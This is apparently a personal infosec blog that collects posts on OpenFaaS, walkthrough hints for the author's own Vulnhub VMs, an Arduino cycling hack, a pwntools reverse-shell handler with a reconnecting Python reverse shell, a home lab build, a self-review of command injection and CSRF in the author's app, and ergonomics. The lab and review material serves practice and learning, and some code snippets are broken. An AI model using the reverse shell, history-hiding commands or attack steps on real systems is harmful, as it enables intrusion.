Sunday, July 5, 2020

Openfaas and infosec uses


OpenFaaS is a function as a service project that can be self-hosted, much like AWS Lambda or Google Functions. Essentially, instead of writing a full project that does various things, you write and maintain functions instead. OpenFaaS can be deployed with Docker Swarm, Kubernetes, and OpenShift.

OpenFaaS documentation is pretty clean and easy to understand. To use it, you need either Docker Swarm, Kubernetes, or OpenShift. Once you deploy OpenFaaS, you need to create a function and deploy it. There are several ways to supply data to the function, one of them is via http requests.

You can use function in sync or async way, without modifying any code at all. You just modify the URL you're sending the http requests too. In addition to that, OpenFaaS will do scaling on its own. If you're using a function a lot and OpenFaaS will spin up containers for that specific function automatically. It's also possible to utilize ci/cd with OpenFaaS to ensure that deploying changes to functions is easy and quick.

I've been mainly experimenting with OpenFaaS on Vultr but it's also possible to play with it in Docker Playground.

Infosec use cases:

I looked through some of my past projects and I can see myself using OpenFaaS if I were to rewrite them. For example, file analysis. It is possible to combine OpenFaaS with other technologies such as Redis (to keep track of operations) and Minio (to allow download/upload of files/artifacts inside of functions) to analyze malicious files or extract metadata from files. In addition to this, you can also implement machine learning and analyze features of a bunch of PE files in a function and return info about if they are malicious or not.

Another use case is analyzing phishing links. I wrote a golang project that takes links from phishtank and splits them into more URLs recursively and checks each URL to see if there is an open directory. It's possible to completely implement this with OpenFaaS. For example, you can send phishtank data to OpenFaaS function every 8 hours and split each link into multiple URLs, send URLs to another function to detect open directory, finally send the URLs that have open directory to another function that downloads files (this would be phishing kit zip files in most cases) from the open directory.

Log analysis or enrichment is another use case. For example, if you were receiving logs about remote sign-ins, you could send the logs in batches or individually to a function or functions to extract IP and do log enrichment based on API lookups for the IP or finding geolocation.

OpenFaaS can be useful for doing analysis of forensic artifacts. If you're working an incident and need to analyze artifacts from hundreds of computers, you can collect the evidence, throw it in Minio, have a bunch of functions to analyze the evidence, maybe even send the output to another set of functions for enrichment before sending the final evidence to storage or SIEM.

I discovered the OpenFaaS project earlier this month and it has been fun to play with and I can see myself using it a lot. Being able to deploy and maintain specific functions instead of a huge application is much easier for me. Also not having to write code that's threaded and OpenFaaS doing automated scaling is very nice.

Links: (Affiliate link...)

Saturday, April 25, 2020

Vulnhub VMs and guide/hints

I released some VM's on Vulnhub almost a month ago.

This post has guide/hints for those VM's.

Cloud Antivirus/Cloud AV:
1. Start by port scanning your network and locate the Easy Cloud AV VM’s IP address.
a. Port 22 and 8080 should be open and the MAC address should be: 08:00:27:BA:A5:BA
2. Do an Aggressive nmap scan on the target IP address and find out what services are running.
3. Visit the web server running on the target IP
4. You were not provided an Invite code. Bypass the Invite code page.
a. Input data in the invite form field to cause an error on the web server
b. Read the error messages and craft input to bypass the invite code page
5. Get command line injection on the scanner page
a. Based on scanner output, determine what the input could have been
b. Inject your own commands
c. To make sure command execution works, cat /etc/hostname
i. Output from it will be “cloudav”
6. Gather information about the users
a. View linux files that could contain user information
7. Brute force port 22/SSH
a. Use the gathered usernames to build a list of usernames and passwords
b. Use the list for brute forcing port 22/SSH
8. Examine home directory of users and exploit vulnerable application to get root
a. Examine the left behind source code
b. Determine how to inject commands
c. Inject commands to gain root privileges!

Socnet/social network:
Goal: Get root privilege on the machine (hostname: socnet)
1. Start by port scanning. Locate socnet VM’s IP address.
a. Port 22 and 5000 should be open. Mac address should be: 08:00:27:A6:E2:EC
2. Do an aggressive nmap scan on the target IP and find out which services are running
3. Visit the webpage on the target IP
a. Examine it for any vulnerabilities
4. Use dirb to scan the website for hidden pages
5. Use the input on the hidden page to test code
b. Try Python’s time.sleep module and see if website will take sleep and take longer to
respond. Try 5 second sleep then 10 second sleep to observe different response times.
6. Abuse to the code testing functionality to get a reverse shell
7. Setup a more stable reverse shell with meterpreter
b. Create the reverse shell binary
c. Transfer the binary to target machine using a webserver on the attacker machine and
running wget on the target machine
d. Use metasploit to handle meterpreter reverse shell
8. Utilize the ‘arp’ command in meterpreter to look for other machines on the target network
9. Utilize the ‘ifconfig’ command in meterpreter to get targets network information
10. Using metasploit, setup a route via meterpreter session
11. Utilize auxiliary/scanner/portscan/tcp to scan other machines on the target network
12. Google open ports and find out what they’re used for
13. Utilize meterpreter session to do port forwarding from your local machine to the machine with
port 9200 open
14. Utilize curl and query machine with port 9200 open and find what’s running on it, including any
version numbers
15. Exploit the service running on port 9200
a. Search for an exploit that works against version of service running on 9200
b. Utilize the exploit and gain shell access
c. Examine / directory for interesting files
16. Utilize passwords file collected from machine with port 9200 open, crack the passwords, and
build a username and password list
17. Attack SSH running on the target machine with the username and password list
18. After logging in successfully on the target machine via SSH, gather machine information
a. Get OS info
b. Get kernel info
c. Arch info (64bit or 32bit)
19. Use privesc exploit to get root privs
a. Utilize collected info to search for privesc exploits
b. Compile the privesc exploits and transfer the compiled files to target system using SCP
c. Execute the exploits to finally get root privs

Socnet2/social network 2:
Goal: Get root privilege on the machine
1. Start by port scanning and locating socnet2 VM.
a. Port 22, 80, and 8000 should be open. Mac address should be: 08:00:27:e9:e5:e6
2. Do an aggressive nmap scan and find more information about the services running
3. Visit webservers
4. Visit webserver on port 80 and examine it
a. Sign up
b. Explore the site
c. Look for any issues
5. Get a backdoor on the webserver
a. Utilize file upload functionality to get a backdoor on the webserver
b. Run the backdoor
6. Utilized the backdoor to find more information about whats running on port 8000
a. Examine the file system, processes
b. Be sure to read social network posts as well
7. Abuse the service running on port 8000 to get another shell
a. Examine the source code for the service running on port 8000
b. Write a custom tool/script to gain shell through service running on port 8000
8. Load a meterpreter backdoor on the victim machine and utilize it to examine files in the users
9. Write an exploit for SUID binary
a. Find the SUID binary in the user folder
b. Binary includes a backdoor function
c. Download the binary, use a debugger, and different inputs to trigger a crash and control
the EIP
d. Create a working exploit that launches backdoor function
10. Put the exploit on victim machine and exploit the SUID binary to get root

Moriarty Corp:
Goal: Get all the flags

No guide or hints. Sorry.

Saturday, April 20, 2019

Using thotcon 0x8 (Arduino Leonardo) badge and Deskcycle to walk/run in video games!

I bought a DeskCycle ( so I can mindlessly cycle at home while working on other tasks. (I’m not 100% sure of the health impact but it doesn’t really matter for now) Of course, it came with a display that let you track your speed, distance, and etc. it also came with a 3.5mm aux audio cable that you can use if you wanted to have the tracker display on your desk. I had the idea of using the Deskcycle to walk or run in games, like Just Cause 3 or any similar game has good visuals.

First thing I did is to Google to see if anyone had interfaced Arduino with DeskCycle and someone had. Neave Engineering blog ( has three articles on interfacing DeskCycle with an Arduino. One of the articles ( mentions that there is a switch that closes as cycle revolutions happen, which made my job easier. Basically, the input from 3.5mm jack can be treated like button input.

This is where the Thotcon ( 0x8 badge comes in. Thotcon 0x8 badge is built on Arduino Leonardo, which can also work as a keyboard! (Teensy would work too but I had a thotcon badge sitting around) A project post had the instructions to reprogram the badge via ICSP header ( It involves connecting AVR programmer then burning bootloader. After that, the badge can be reprogrammed via USB.

At this point, I hadn’t read the whole article from Neave Engineering. I spent hours trying to make the badge press and hold ‘w’ key (to walk forward in a game) in a bunch of different ways. For some reason, key presses would stop/weren’t continuous and I had other issues too. I went back and looked at the Neave Engineering post again and decided to reuse that code. Neave Engineering code can be found here:  The code comments are very useful!

I cut my 3.5mm cable, found the two wires that connect when a cycle/revolution happens and attached one to ground and one to pin 12 (var name is trigger in the code). As far as I can tell, the bottom row of pins in Thotcon 0x8 badge are all ground pins, although, I might be wrong. I didn’t closely test all of them.

Here’s my badge, with DeskCycle output pins attached to pin 12 and ground:

Here’s my modified code that does a keypress:
#include <Keyboard.h>

const float pi = 3.14159265;
const float inchesPerMile = 63360;
const int wheelSize = 26;
const float gearRatio = 2.75;
const float wheelCircumference = wheelSize * pi;
long lastTriggerTime = 0;
long currentTriggerTime = 0;
long triggerInterval = 0;
int lastTriggerValue = 0;
int triggerValue = 0;
int trigger = 12;
float cadence = 0;
float currentSpeed = 0;

void setup() {
 pinMode(trigger, INPUT);           // set pin to input
 digitalWrite(trigger, HIGH);       // turn on pullup resistors
 cli();//stop interrupts
 TCCR1A = 0;// set entire TCCR2A register to 0
 TCCR1B = 0;// same for TCCR2B
 TCNT1  = 0;//initialize counter value to 0
 OCR1A = 124;// = (16*10^6) / (2000*64) - 1 (must be <256)
 TCCR1A |= (1 << WGM01);
 TCCR1B |= (1 << CS01) | (1 << CS00);
 TIMSK1 |= (1 << OCIE1A);
 sei();//allow interrupts
 lastTriggerTime = millis();  
}//end setup

 triggerValue = digitalRead(trigger);
 triggerValue = triggerValue == 0 ? 1 : 0;
 currentTriggerTime = millis();
 triggerInterval = currentTriggerTime - lastTriggerTime;
 if(triggerInterval >= 2000)
   cadence = 0;
   currentSpeed = 0;
 if(lastTriggerValue != triggerValue)
   lastTriggerValue = triggerValue;
   if(triggerValue == 1)
     lastTriggerTime = currentTriggerTime;
     cadence = 60000 / triggerInterval;
     float rph = cadence * 60;
     float wheelRph = rph * gearRatio;
     float inchesPerHour = wheelCircumference * wheelRph;
     currentSpeed = inchesPerHour / inchesPerMile;      

void loop() {
 //not checking to see if w is pressed already since this code is not causing any issue.
 if (currentSpeed > 0){'w');
 else {

I removed serial output stuff since it wasn’t needed. I only care about the speed.
If speed is higher than 0, then keep pressing w, else release all the keys.
If there hasn’t been a cycle/revolution in more than 2 seconds, speed is set to 0.

What else you can do? You can do if or switch loop based on the speed and add Shift key press (some games allow you to sprint with it), or change LED colors, and so on. (For changing LEDs on thotcon 0x8 badge, this should help: and ) I assume you can also do something with Google Street View as well.

Friday, December 28, 2018

Using pwntools for reverse shell handling and automation

I've been working with machines on HackTheBox and VM's from Vulnhub for a while. I got annoyed of typing commands again and again. I decided to use pwntools (Python library that provides a lot of functions for CTF and exploit dev usage, for handling reverse shell and sending commands. This is nothing new, I'm sure there are people and tools out there that automate some things after a machine is popped.

For HTB and Vulnhub VM's I'm trying to avoid using tools such as metasploit, meterpreter, or anything that does everything and instead try to write my own tools and modify exploits. However, I do use nmap and enumeration tools/scripts...

For reverse shells that I get, they could have resulted from a custom python script, PHP code, or some binary exploit. If it's custom python script, I can add things I want the script to do before it connects back to me but for shell from PHP or exploit, I have to send commands after I get a reverse connection.

This is what I have as my handler: 

from pwn import *

l = listen(80)
l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
l.sendline(" export SHELL=bash")
l.sendline(" export HISTFILE=/dev/null")
l.sendline(" export TERM=xterm")
l.sendline(" stty rows 38 columns 116")
l.sendline(""" alias ls='ls -lha --color=auto'""")
l.sendline("uname -a")
l.sendline("ps aux")

It listens on port 80 and as soon as there is a reverse shell, it executes commands. l.interactive() gives you a shell.
I change it depending on the situation. For one of the HTB machines, I had lines added to log in as one of the privileged users. You can also add commands in here to automatically download enumeration or privesc tools and execute them. 

Another common problem I've had is losing the shell. This typically happens because I pressed control+C after running a command I shouldn't have or didn't need to. I decided to modify my reverse python shell to make it run in an infinite loop, with sleep in the middle when disconnected. This was fine for a while but I didn't wanna have my reverse shell running on shared HTB machines all the time, if I happen to stop working on the machine or get disconnected and my IP changes. I changed the script and added a counter so after a while if it's not able to connect to me, the process ends.

Here's what the reverse shell looks like:

import socket, subprocess, os, time
counter = 0
while counter < 6:
        counter = 0["/bin/bash","-i"]);
        counter = counter + 1


Friday, December 21, 2018

Virtualization server setup

This post is about how I have my virtualization server setup at home. I built it earlier this year. 

Use cases for me are: running VM's, malware analysis, pentesting practice, processing data/logs, doing CTF stuff, running containers, virtualized networking, and so on...

CPU: AMD Ryzen 5 1600, it's 6 cores and 12 threads. It's cheap and good enough. 
Motherboard: B350M Mortar
RAM: 4x8GB, total 32GB. It's good enough for running multiple VM's and containers. I had 16GB before and it worked fine.
Networking: Motherboard has an onboard 1GB Ethernet. For a connection to a NAS, I added a 10GB MELLANOX NIC and a pair of those should cost around 30 bucks on ebay. Finally, I added 4x1GB ethernet NIC, which I think is sold by Syba on Amazon.
Case: Thermaltake Versa H17
Storage: 2x2TB HDD, 1x240GB SSD

Virtualization setup: I'm using Proxmox VE for virtualization. It supports VM's and Containers. On top of that, I'm using Docker as well. ServeTheHome has an article on how to set it up:

The 2x2TB drives are installed in RAID 1 mode. Proxmox VE is installed on top of them. SSD contains ISO images for Linux, Windows, and etc. It also holds Container images. All of the VM content is saved to the HDD's. Additionally, all the data can be backed up via the 10GB link to the NAS. 

Proxmox VE allows you to create templates based on VM's too. In my case, I have templates for Windows and Ubuntu server, which tools such as git, python, and etc. preinstalled. 

With networking, Proxmox VE allows you to use OpenVSwitch, right from the WebUI. It lets you create virtualized networks just for VM's or use one of the hardware ports. This comes in very handy when doing malware analysis. For example, you can set up pfsense as a VM and add a virtualized network. You can also put the VM you're doing malware analysis on the virtualized network. Pfsense can be configured to route all the traffic through VPN. When malware traffic leaves the network, it ends up going through VPN. 

Here's what the virtualization machine looks like on the inside:

Here's the back:

Proxmox VE:
ServeTheHome - a really useful website:
Opnsense (similar to pfsense):
Homelab subreddit, useful for looking at other setups and asking questions:

Tuesday, December 18, 2018

Doing vulnerability assessment of my own code...It's bad.

I took "Application Security: for Hackers and Developers" class at Derbycon this year. More about the course is here: Videos are also available on PluralSight. Anyways, the class is focused on searching for vulnerabilities by using various methods such as static analysis, dynamic analysis, binary analysis, fuzzing, and etc.

For a class I was taking this semester, I decided to write my final paper on different techniques used to review code and/on find security issues. I also decided to look at a project that I worked on a long time ago for the hands-on part.

The project is runthelabs (can be found here: It is a Python+Flask based web app that takes in a JSON configuration file and creates a virtual environment. It uses Minimega (, KVM, OpenVSwitch, and NoVNC. It also uses SQLite for holding data.

The point of it is that a teacher creates a JSON file with virtual environment specifications, uploads it, and starts the lab. The teacher can copy and send NoVNC links to students/groups so they can VNC into a VM and work on whatever. More info here:

When I put the project on Github, I knew it could have some kind of injection vulnerability. The code was written so long ago and I never got to updating everything. (laziness is not good for security)

Goal/Testing Purpose and Scope:
The goal of this testing is to apply code review and security testing techniques and find security issues in my project. The scope is just my application/code. Third-party code or issues related to Minimega, KVM, OpenVSwitch, and etc. are not a concern.

Software Internals: is the main flask app. There is a webUI and an API way of interacting with the app. stores config information (paths to files and etc...) is responsible for interacting with SQLite DB. is responsible for executing commands in relation to minimega, iptables, and openvswitch. parses JSON file uploaded by the admin and uses mmcontrol to set things up.

There are two user roles. One admin and the other one is student/unauthenticated.

Here's what the admin does: Uploads a JSON config file and starts the lab (which turns on VM's and sets up networking). Optionally, the admin can turn the whole lab off, reboot VM, change VNC password, and finally, share NoVNC link with the student.

VNC can be accessed via realvnc or other VNC software with the correct port and password or NoVNC.

Unauthenticated user: They can check server status (if it's up or not. Not very useful) and access VM's via VNC, if they have URL or password+port.

The software uses SQLite DB to keep track of VM name, password, and port.

Port 1337 is used for WebUI and API. Port 1338 is used for Websockify/NoVNC.

Testing Setup:
To set up a testing environment, I needed one server to the run web app and two machines. One for static analysis/dynamic analysis/hacking and the other one for Admin/Teacher role.

Static Analysis:
Static analysis is analyzing the code without running it. Here are useful OWASP links: &

I started by using bandit ( to scan my code. Here are some of the issues:

  • Subprocess module is in use
  • Hardcoded password
  • Use of md5 function (used to generate VNC password, not a vuln)
  • Binding to all interfaces
  • Starting a process with shell (using os.system)
  • Starting a process with shell, with possible injection (it detects when external variables are used)
I also used Python-Taint ( It found that I was using a URL parameter as an input for SQL queries. 

These tools are definitely useful for a larger project. They did find useful things. 

I am also doing manual analysis. OWASP has guides on how to do a code review ( and I'm using those as well. 

Here's what OWASP recommends focusing on:

OWASP also recommends looking at inputs and data flow. They have more things recommended but I wanna try to focus on vulnerability areas the above screenshot mentions and inputs.

  • Data Validation: There isn't any. json.loads is used, which validates that the upload is json, however, that doesn't really matter. For starting a lab, JSON data has to be correct, however, values don't have to be. If something is int, string, or etc. it isn't checked. The uploaded file isn't saved on disk either.
  • Authentication: Admin has to login to use WebUI or API. has a hardcoded password.
  • Session Management: Basic auth is used, so there isn't any.
  • Authorization: N/A
  • Cryptography: The WebUI/API access does not use SSL/TLS neither does the NoVNC connection. If someone was eavesdropping, they could get credentials.
  • Error Handling: Yes! I'm doing try-except then returning a generic error message. Also, in the try section, I'm doing If and returning a generic message. It's not perfect. There are some flaws.
  • Logging: None
  • Security Configuration: N/A
  • Network Architecture: The web app does bind to all interfaces.
As for inputs, only admin has input capabilities. They can upload JSON file, reboot VM's, and change VM VNC password.

Here's the example config file:

For JSON file upload, it's done through /upload. The file is assigned to labconfig variable. When the lab is turned on (through /on), startlab() is called, which creates a db and calls mmstart.startmm(labconfig). startmm calls mmcontrol.start_mm(), which starts Minimega. After that, JSON file is processed. First thing looked at is gre, then dhcp, then internet, then finally VM. For VM, mmcontrol.vm_config ends up being called, which runs os.system statement with networking info. With JSON processing, there are several places a command could be injected.

For VM reboot, here's what ends up being ran, when vmname is supplied via GET request:
mmcontrol.vm_reboot(vmname, dbcontrol.get_password(vmname)), and in vm_reboot() this statement is executed first: os.system(minimega_cmd + "vm kill " + vm_name). Injection can happen here.

For VM VNC password reset, mmcontrol.set_password() is used, which executes os.system(minimega_cmd + "vm qmp " + vm_name + " " + json.dumps(vncpwcmd)) first. In this case, the injection could occur in the middle of the statement.

Dynamic Analysis:
For dynamic analysis, the application has to be running. I used OWASP ZAP, Subgraph Vega, and Nikto. They didn't actually find anything useful, which is expected, however, Nikto did guess hardcoded login admin/admin.

I started doing manual analysis. I would use Burp but it really isn't needed for now.

First, I uploaded a random file, which didn't do anything. I uploaded a random JSON file, and it was accepted. The labs wont start obviously since it's not a valid config file. After that, I took the example config file and injected commands. Here's what the new file looks like:

The command injection worked:

After this, I uploaded the example JSON configuration which was included and started the lab the way it should be so I can try to mess with GET parameters.

First the reboot:

It worked:

Next, the VNC password reset:

That also worked:

Another issue with this software is cross-site request forgery. Since I'm not using session management or any other security, when a request is made via another webpage, if the admin is logged in, the request will get processed.

For example: <img src="" width="0" height="0" border="0"> embedded in another HTML page does cause a reboot for tc2. Of course, since I wasn't doing any checking to see if VM name is a valid name, the attacker, does not need to know vm name to execute commands.

Here's my new code, asdf vm doesn't exist:

I logged into the admin account on another machine and opened the poc webpage:

On my "hacker" machine:

Dynamic analysis helps with confirming/validating some of the findings in static analysis.


  1. Binding to all network interfaces
    1. This is bad because depending on the network configuration, the webui can be accessed from inside the VM
  2. Command injection
    1. Bad but only admin can do it (unless CSRF is used)
  3. Lack of data validation
    1. I should have validated everything in JSON file and even data from GET requests. For example, if vmname is supplied for reboot, I should check to see if that VM exists or not. I should make sure that I only allow a-z,A-Z,0-9 as input chars. 
  4. Bad session management
    1. I probably shouldn't have used basic auth. Flask (or modules on top of Flask) has session management mechanisms that I could have used. CSRF token should be used. There are other web app protections that could be used as well.
  5. Cross-site request forgery
    1. CSRF token should be used. 
  6. Lack of cryptography
    1. The way I imagined this web app would be used didn't require adding ssl/tls protection but it's still something I wanted to point out.
  7. Error handling could be better
    1. Error messages are generic. More detailed messages would be useful. Also, more error checking should be done. For example, if someone starts a lab with bad json file, code still starts minimega binary. That should not happen. Return from os.system should be checked too.
  8. Lack of logging
    1. I should have been logging some stuff, mainly errors. 
Basically, there are three ways to get root on the system running runthelabs. A non-admin user can use CSRF w/ command injection. A malicious admin can use various command injection points. Finally, a MITM attack can be used to capture admin credentials and those could be used to execute a command injection attack.

It's possible that I may have missed something. Static and dynamic analysis both definitely were useful. OWASP is a great resource on code review. Also, this Github awesome list is very useful:

The security issues occurred due to laziness and the risk/chances of exploitation were low. Also, I accepted the risk of possible command injection by the admin when I was programming. The impact is high since you can get root pretty easily with CSRF or if you were a malicious admin. 

Monday, November 5, 2018

Computer usage and health

If you're in infosec or any other computer focused jobs such as sysadmin or a programmer, you may be spending a lot of time on a computer and/or sitting at a desk all day (or at least more than the average human being). This may come with health problems related to but not limited hands, eyes, back, and neck. In this post, I'll try to provide tools and tips that may help limit injuries or pain. 

Disclaimer: I am not a doctor. This blog post does not provide any cures. Check links in the resources section for more information. 

One of the main things you do when using a computer is staring at your screen. I'm not sure if this affects your vision long-term or not but it may certainly cause strain or dry eyes. There are applications you can install to remind you to look away or take a break from staring at your screen. These applications include Workrave ( and Eyeleo ( There are more if you check AlternativeTo ( I have used Workrave in the past but currently, I use Eyeleo. Depending on your settings, Eyeleo will give you a popup about various eye movements (rolling your eyes for example) or looking away. Workrave also gives you popup about doing exercises at your desk. You may have to tune the time settings to make sure the popups don't get too annoying and you can still remain productive. 

You can also adjust your screen brightness level depending on the light level around you. Android phones and tablets usually have an option to adjust brightness based on the sensor included on the phone. Another thing you can do is use a blue light filter option on your devices. Again, Android phones and tablets may include this option in their settings as well. For Windows, I use f.lux (, which is pretty popular. It will adjust your screen color based on the time of day. 

Finally, you can get computer glasses that are designed for computer users. I'm pretty sure they protect your eyes from the blue light, besides that, I'm not 100% sure what else is different about them. Additional features or protections may depend on the manufacturer I guess. 

"Protect Ya Neck" - Wu Tang Clan
You may get neck issues depending on how your monitor is positioned/angled. Make sure your monitor is in front of you and you don't have to keep your neck tilted or twisted to view it. Position the monitor so you're not getting glare or reflection. Keep your monitor clean as well. Keep in mind the height and distance of the monitor compared to your eye level. You shouldn't have to bend your neck down to view what's on the screen. Check the resources for more information on setting up your monitor. 

Pay attention to your posture when using a computer. Make sure you're not cutting off or reducing blood circulation to your hands because of the way you're using the keyboard. Try to keep your back straight. Keep your forearms and wrists aligned with the keyboard and mouse. Your feet should be flat against the ground. Check the links in the resources for a diagram. 

Instead of sitting all day, you can also stand at your desk. Adjustable standing desks exist, you can also buy kits that convert your desk into an adjustable standing desk. If you do utilize a standing desk, make sure not to stand ALL day and switch between sitting and standing. Also, if you're standing, use an anti-fatigue mat to stand on. 

Ergonomic keyboard and mouse may make your hands more comfortable when using a computer. Ergonomic keyboard and mouse can be used with your natural hand position and may help prevent carpal tunnel (not sure how true that is). There are many options out there when it comes when it comes to ergonomic keyboard and mouse, you may just have to test and find what feels most comfy to you. 

Some workplaces may have people in charge of ergonomics/human factor or occupational health. I've worked at a place that has had people like that. They can help make sure your work environment is comfortable and safe. Check with HR. 

That's all! Hopefully, some of the information was useful to whomever that's reading this. Links in the resources are probably more helpful.